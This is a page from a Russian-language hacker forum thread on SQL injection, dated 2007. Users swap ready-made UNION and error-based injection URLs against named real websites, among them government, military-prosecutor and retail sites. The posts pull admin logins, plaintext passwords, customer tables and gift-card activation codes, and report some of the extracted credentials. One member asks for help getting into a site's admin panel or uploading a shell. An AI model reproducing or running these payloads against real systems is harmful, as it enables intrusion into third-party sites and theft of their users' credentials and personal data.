SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    есть таблица admin,колонки с паролем не нашел.


    интересная скуля,вот только колонку с паролями, подобрать не смог:(


    код:

    http://date.inter.by/anketa.php?id=-8872'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,name,14,ID,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,icq+from+users/* может кто подберет,а?
     
    #3241 sasTO, 7 Oct 2007
    Last edited: 7 Oct 2007
  2. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    246
    Likes Received:
    258
    Reputations:
    83
    http://www.alturspro.ru/index.php?page=99999'+UNION+SELECT+1,2,3,4,5,6,7,8,AES_DECRYPT(AES_ENCRYPT(pass,%20%200x71),0x71),10,11,12,13,14,15,16%20from%20admin/*


    2 fobofob
    Может ты это нашел? Ну короче это к анкетам
    http://date.inter.by/anketa.php?id=-8872'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,pas s,login,32,33,34,35,36,37,38,39,40,41,42,43,44,45, 46,47,48,49,50+from+members/*
     
    #3242 Red_Red1, 7 Oct 2007
    Last edited: 7 Oct 2007
    1 person likes this.
  3. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    Гомельская межгарнизонная Военная Прокуратура



    код:


    http://www.mvp.gomel.by/news.php?id=-87+union+select+1,concat(user(),0x3a,database()),3,4,version(),6,7/* :cool:
     
    1 person likes this.
  4. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    Code:
    http://socketmailsolutions.com/showcase/index.php?action=readmore&id=5-1%20union%20select%200,1,concat(email,char(58),userid,0x3a,adminid),3%20from%20admin/*
    Code:
    http://sohotemplates.com/index.php?action=readmore&id=-1%20union%20select%200,1,concat(email,0x3a,userid,0x3a,adminid),3%20from%20admin/*
    Code:
    http://www.covantagetemplates.com/index.php?action=readmore&id=-1%20union%20select%200,1,concat(email,0x3a,userid,0x3a,adminid),3%20from%20admin/*

    пароль 123456
    Code:
    http://www.seksbilgileri.com/kategori.asp?kat=goster&id=-1+union+select+0,1,adsif,3,4,5,6,7,8+from+ayar
    юзер ADMIN
    Code:
    http://www.seksbilgileri.com/kategori.asp?kat=goster&id=1+union+select+0,1,adkull,3,4,5,6,7,8+from+ayar
    пароль ADMIN
    Code:
    http://www.demirkandemir.com/kategori.asp?kat=goster&id=-1+union+select+0,1,adkull,3,4,5,6,7+from+ayar
    пароль ADMIN
    Code:
    http://www.demirkandemir.com/kategori.asp?kat=goster&id=-1+union+select+0,1,adsif,3,4,5,6,7+from+ayar
    
     
    #3244 kair, 7 Oct 2007
    Last edited: 7 Oct 2007
    3 people like this.
  5. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    Инет Аукцион:wink:


    код:


    http://www.kip.by/auctiondetails.php?id=-100343'+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49/*


    четвертый мускул...
     
  6. valiko

    valiko Elder - Старейшина

    Joined:
    28 Jan 2007
    Messages:
    152
    Likes Received:
    144
    Reputations:
    19
    Code:
    http://www.o3may.info/news.php?page=viewnews&journal=3&id=-55'+union+select+concat_ws(0x3a,user(),version(),database())/*
     
  7. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    моя первая инъекция в MSSQL


    нашёл:

    Code:
    http://www.asprilexi.com/games_cat.asp?id=1'
    проверил:

    Code:
    http://www.asprilexi.com/games_cat.asp?id=1+or+1=@@version--
    схема таблес:

    Code:
    http://www.asprilexi.com/games_cat.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
    выбрал табличку.. лень было искать реальное чтобибудь типа "users" так что выбрал просто не ту что сначала.

    Code:
    http://www.asprilexi.com/games_cat.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('kartasub','cyfd','dtproperties','erevna','static','sysconstraints','syssegments','var','ahcmd','anikei','apostoli','banner','cardview','choice','comd_list','D99_CMD'))--
    колонки:

    Code:
    http://www.asprilexi.com/games_cat.asp?id=1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='D99_REG'+AND+COLUMN_NAME+NOT+IN+('data'))--
    вывод:

    Code:
    http://www.asprilexi.com/games_cat.asp?id=1+or+1=(SELECT+TOP+1+data+from+D99_REG)--
    какойто хз какой язык, поэтому нихрена непонятно.. ну и фик с ним)
     
    3 people like this.
  8. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    моя первая инъекция в PostgreSQL

    сам сайт мне дал ещё давно Constantine поэтому даже если боян, прошу не ругать.. просто это был самый короткий путь попробывать свои силы

    нашёл:

    Code:
    http://www.chroniclejournal.com/includes/datafiles/obits_results.php?id=1'
    столбцы:
    Code:
    http://www.chroniclejournal.com/includes/datafiles/obits_results.php?id=-1+union+select+1,null,null,null,null,null--
    схема.таблес
    Code:
    http://www.chroniclejournal.com/includes/datafiles/obits_results.php?id=-1+union+select+null,TABLE_NAME,null,null,null,null+from+information_schema.tables--
    хоть еденичка выводится в 1 всёравно table_name мы поставляем в 2.. ибо в 1 другой тип данных.

    выбрали табличку: pg_user
    выводим колонки:
    Code:
    http://www.chroniclejournal.com/includes/datafiles/obits_results.php?id=-1+union+select+null,COLUMN_NAME,null,null,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=chr(112)||chr(103)||chr(95)||chr(117)||chr(115)||chr(101)||chr(114)--
    перевели в char ибо подругому нерааботет(в данном случае) :)

    получаем:
    Code:
    passwd
    usecatupd
    useconfig
    usecreatedb
    usename
    usesuper
    usesysid
    valuntil
    выводим:
    usename:
    Code:
    http://www.chroniclejournal.com/includes/datafiles/obits_results.php?id=-1+union+select+null,usename,null,null,null,null+from+pg_user--
    passwd
    Code:
    http://www.chroniclejournal.com/includes/datafiles/obits_results.php?id=-1+union+select+null,passwd,null,null,null,null+from+pg_user--
    объеденим:
    Code:
    http://www.chroniclejournal.com/includes/datafiles/obits_results.php?id=-1+union+select+null,usename||chr(58)||passwd,null,null,null,null+from+pg_user--
     
    #3248 BlackCats, 8 Oct 2007
    Last edited: 8 Oct 2007
    3 people like this.
  9. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    делать было нечего :\
    _://www.vlad.myths.ru/songs.php?song=-1903%20union%20select%201,2,3,concat(name,char(10),password),5,6,7,8,9,0,1,2,3%20from%20users/*
    <title>...</title>
     
    2 people like this.
  10. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    77
    Likes Received:
    64
    Reputations:
    7
    Для некоторых будет интересная база))))
    Компания одна из групнейших поставщиков ПК техники на Украине
    База одна для всех сайтов:
    http://www._gb_.ua/
    http://www._compass_.com.ua/
    http://www._hi-fi_.com.ua/
    http://www._delfics_.com/


    скл есть почти на всех перечисленных сайтах
    http://www._delfics_.com/Del_buy.asp?City_id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
    интересные таблицы
    ShopOrders
    ManagerShopPollOtherSources
    Articles
    Cards
    CardsToCustomers
    ForumForums
    ManagerShopLogins
    MHShops
    RacingBingo
    RacingCards
    ShopCustomers


    http://www._delfics_.com/Del_buy.asp?City_id=1+or+1=(SELECT+TOP+1+column_NAME+ FROM+INFORMATION_SCHEMA.columnS+WHERE+TABLE_NAME= 'ShopCustomers'+an+column_name+not+in+('Customer_Id','Login','Password','First_Name' ,'Last_Name','Middle_Name','Email','Phone','Fax','Region_id','City_id','Address','Zip','CustomerStatus_Id', 'Company_name','Company_address','Company_zkpo','Company_inn','Company_svid','Company_nds','Subscribe1','Subscribe2','ForumDisplayEmail','Add_Date','Modification_Date','Site'))--

    http://www._gb_.ua/shop/manager.asp?id=9991+uNioN+SeleCt+Card_Id,Balance,ActivationCode,IsActivated+from+Cards--

    http://www._gb_.ua/shop/manager.asp?id=9991+uNioN+SeleCt+id,login,password,ShopName+from+ManagerShopLogins+where+id+not+in('1')--

    пароли как то форума так и от входа не шифрованы
     
    1 person likes this.
  11. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    77
    Likes Received:
    64
    Reputations:
    7
    вообщето это не в эту тему......
    http://www.arcoreal.com.ua/private/sql/
    по этому адрессу лежит файт dump.sql
    там два хеша. попробуй расшифровать.
    админка тут http://www.arcoreal.com.ua/admin
     
    1 person likes this.
  12. 0x0c0de

    0x0c0de Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    441
    Likes Received:
    396
    Reputations:
    297
    Классный вывод)
    Code:
     
    http://www.bog.gov.gh/displayimage.php?displaytype=Thumbnails&albumid=-8+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,convert(table_name%20using%20utf8),9,0,1,2,3%20from+information_schema.tables/*&SOffset=0
    
    А вот, собственно
    Code:
    http://www.bog.gov.gh/displayimage.php?displaytype=Thumbnails&albumid=-8+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,convert(concat(AdminName,0x3a,PassKey)%20using%20utf8),9,0,1,2,3+from+bog_tbladministrator/*&SOffset=0
    
    Ну и еще

    user - rad@localhost
    version - 4.1.11
    Code:
     
    http://www.rad.gov.tw/prg/e_disscuss_content.php?id=-21663%20union%20select%201,2,convert(concat(database(),0x3a,user())%20using%20latin1),4,convert(version()%20using%20latin1),6,7,8,9,10,11/*
    
    corporin_impacto@localhost
    4.1.22-standard
    Code:
    http://www.corporinoquia.gov.co/2170/preguntas2.php?proceso=-9%20union%20select%201,user(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1/*
    
    4.1.8-nt
    Code:
    http://www.ttjfng.gov.tw/info_detial.php?InfoID=-88%20union%20select%201,2,3,4,5,version()/*
    
     
    3 people like this.
  13. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    немного юмора

    Code:
    http://www.humor.fo/link/pass2.php?id=-1'/**/union/**/select/**/1,2,3,concat(user(),0x3a,version(),0x3a,database( )),5,6,7,8,9,10,11,12,13/*
    runilo_mamb1@localhost:4.1.22-standard:runilo_mamb1
    Code:
    http://www.humor.fo/link/pass2.php?id=-1'/**/union/**/select/**/1,2,3,concat(memberName,0x3a,passwd,0x3a,passwordSalt,0x3a,emailAddress,0x3a,ICQ,0x3a,websiteUrl,0x3a,secretQuestion,0x3a,secretAnswer,0x3a,hideEmail,0x3a,location,0x3a,posts),5,6,7, 8,9,10,11,12,13/**/from/**/smf_members/*
    Code:
    http://www.humor.co.il/category.php?id=-1+union+select+1,2,3,4,5,6,7,8,concat(user(),0x3a,ver sion(),0x3a,database()),10,11,12,13,14,15/*
    anakonda_HumorGo@localhost:4.1.22-standard:anakonda_humor2
    Code:
    http://www.humor.co.il/category.php?id=-1+union+select+1,2,3,4,5,6,7,8,concat(username,0x3a,password,0x3a, email),10,11,12,13,14,15+from+users/*
    Code:
    http://www.flighthumor.com/category.php?id=-1+union+select+1,2,3,4,5,6,7,8,concat(user(),0x3a,version(),0 x3a,database()),10,11,12,13,14,15/*
    fh_fh@localhost:4.0.27-standard-log:fh_flighthumor
     
    2 people like this.
  14. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    *www.gateway.uz


    TABLE_NAME : COLUMN_NAME

    http://www.gateway.uz/calendar.php?lng=2&Id=-3508+union+select+1,2,3,4,concat(table_name,0x3a,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+information_schema.columns/*

    _________________

    SHCEMA.TABLES:SITE_USERS

    http://www.gateway.uz/calendar.php?lng=2&Id=-3508+union+select+1,2,3,4,table_schema,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+information_schema.tables+where+table_name=char(0x73,0x69,0x74,0x65,0x5f,0x75,0x73,0x65,0x72,0x73)/*
    _________________
    SHCEMA.TABLES:ICM_USERS

    http://www.gateway.uz/calendar.php?lng=2&Id=-3508+union+select+1,2,3,4,table_schema,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+information_schema.columns+where+table_name=char(0x69,0x63,0x6d,0x5f,0x75,0x73,0x65,0x72,0x73)/*
    _________________
    SHCEMA.TABLES:TRUSTED_USERS


    http://www.gateway.uz/calendar.php?lng=2&Id=-3508+union+select+1,2,3,4,table_schema,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+information_schema.columns+where+table_name=char(0x74,0x72,0x75,0x73,0x74,0x65,0x64,0x5f,0x75,0x73,0x65,0x72,0x73)/*

    _________________
    SHCEMA.TABLES:USERS

    http://www.gateway.uz/calendar.php?lng=2&Id=-3508+union+select+1,2,3,4,table_schema,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+information_schema.columns+where+table_name=char(0x75,0x73,0x65,0x72,0x73)/*

    _________________
    вывод:igca.site_users

    http://www.gateway.uz/calendar.php?lng=2&Id=-3508+union+select+1,2,3,4,concat_ws(0x3a,id,Name,Pos,Org,NickName,Password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+igca.site_users/*


    вывод:cen.site_users


    http://www.gateway.uz/calendar.php?lng=2&Id=-3508+union+select+1,2,3,4,concat_ws(0x3a,id,Name,Pos,Org,NickName,Password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+cen.site_users/*


    вывод:cagateway.site_users


    http://www.gateway.uz/calendar.php?lng=2&Id=-3508+union+select+1,2,3,4,concat_ws(0x3a,id,Name,Pos,Org,NickName,Password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+cagateway.site_users/*


    вывод:igca.trusted_users


    http://www.gateway.uz/calendar.php?lng=2&Id=-3508+union+select+1,2,3,4,concat_ws(0x3a,Id,Login,Password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+igca.trusted_users/*


    вывод:rstate.users


    http://www.gateway.uz/calendar.php?lng=2&Id=-3508+union+select+1,2,3,4,concat_ws(0x3a,id,usertype,username,pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+rstate.users/*
     
    3 people like this.
  15. GALIAFF

    GALIAFF Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    45
    Likes Received:
    28
    Reputations:
    5
    Code:
    http://geolog.mnr.gov.ru/part/?pid=-1/**/union/**/select/**/1,concat(user(),0x3a,version(),0x3a,database()),3/*
    
     
    2 people like this.
  16. Y.Dmitriy

    Y.Dmitriy Banned

    Joined:
    14 Mar 2007
    Messages:
    208
    Likes Received:
    85
    Reputations:
    16
    Так намного красивей)
     
  17. 0x0c0de

    0x0c0de Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    441
    Likes Received:
    396
    Reputations:
    297
    Code:
    http://www.grbipunjab.gov.pk/menu_contents.php?MAINID=11&SUBID=-9%20union%20select%201,version(),3,user()/*
    
    4.1.7
    Code:
     
    http://www.nlm.gov.mv/main/latestbookdetails.php?bookdetails=-7%20union%20select%201,2,convert(database()%20using%20latin1),4,5,6,7,8,convert%20(version()%20using%20latin1),0/*
    
    4.0.13-nt - 6
    Code:
    http://menweb.mineducacion.gov.co:8080/saber/casos_i.php?Institucion1=-9%20union%20select%201,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
    
    4.0.17-log
    Code:
    http://www.semar.pi.gov.br/noticias.php?codigo=-582+union+select%201,2,3,4,VERSION(),6,7,8,9,0/*
    

    4.1.22-standard
    Code:
    http://www.ecs.gov.bd/electoral.php3?t=-5+union+select+1,version(),3/*?ifs=-9
    
    4.0.26-nt-log
    Code:
    http://www.camarapalmares.pe.gov.br/requerimentos.php?r=-8%20union%20select%201,2,3,4,version(),6,7/*
    
    4.1.12-standard-log
    Code:
    http://www.bombeiros.mt.gov.br/site/conteudoUnidade.php?unidade=0&id=-7%20union%20select%201,2,convert(version()%20using%20latin1),4,5,6,7/*&PHPSESSID=b5d7181c5cb7ba97ed178c7b4ccd94f9
    
    4.0.27-standard-log
    Code:
    http://www.zt-rada.gov.ua/ukrainian/turbotapage.php?page_id=7&turb_pidrozdil_id=-9%20union%20select%201,version(),3/*
    
    В продолжение

    Code:
    http://www.zt-rada.gov.ua/ukrainian/turbotapage.php?page_id=7&turb_pidrozdil_id=-9%20union%20select%201,concat(user_name,0x3a,user_password),3%20from%20users/*
    
     
    2 people like this.
  18. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    для "любителей" Дома-2:

    Code:
    http://romaolya.ru/videogal/?cat=-4+UNION+SELECT+1,2,user(),4,5,6/*
     
    1 person likes this.
  19. FFFFx029A

    FFFFx029A Member

    Joined:
    30 Sep 2007
    Messages:
    9
    Likes Received:
    8
    Reputations:
    3
    Народ, хелп, помогите заюзать сайтец, очень нужно узнать или доступ к админке или шелл залить..., основная цель - эт выкачать скрипты.
    (Сайт дырявый как сито)
    P.S ща вот сам колупаю, еси у кого получиться скидуйте сюда...

    http://www.megaholl.com.ua/find_flat.php?a=1&d%5B%5D=16&d%5B%5D=21&d%5B%5D=22&d%5B%5D=23&d%5B%5D=26&d%5B%5D=39))+union+select+user(),user(),3,4,5,6,user(),user(),user(),user(),user(),user(),13,14,15,16,17,18,19,20,21,22,23/*&sm=s1a&sr=n

    или вот:
    http://www.megaholl.com.ua/find_stead.php?a=2'
    ----------------------------------------------------------------------------

    Вот версия мускула: http://www.megaholl.com.ua/4.1.22-standard/2.html
    Вот так узнал версию:
    http://www.megaholl.com.ua/find_stead.php?a=2)+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*&sm=s1d&sr=t

    Вот пользователь: http://www.megaholl.com.ua/u_megaholl@localhost/2.html
    Во так узнал пользователя:
    http://www.megaholl.com.ua/find_stead.php?a=2)+union+select+user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*&sm=s1d&sr=t

    Вот БД:
    http://www.megaholl.com.ua/megaholl/2.html
    Вот так узнал имя ДБ:
    http://www.megaholl.com.ua/find_stead.php?a=2)+union+select+database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*&sm=s1d&sr=t

    Названия таблиц - немогу узнать, т.к пишет ошибка, но явная ошибка невысвечуеться (скрыто тут такое)



    Вот для наглядности чтобы вы неискали где выводяться данные, я кстате случайно заметил, думал что там фильтруеться, ггг
    Вот: http://www.megaholl.com.ua/find_stead.php?a=2)+union+select+database(),'wwwwwwwwwwwwwwwwwwwww',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*&sm=s1d&sr=t
     
    #3259 FFFFx029A, 10 Oct 2007
    Last edited: 10 Oct 2007
  20. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    134
    Likes Received:
    216
    Reputations:
    17
    http://www.eskmo.ru/
    Книжное издательство "Эксмо"
     
Thread Status:
Not open for further replies.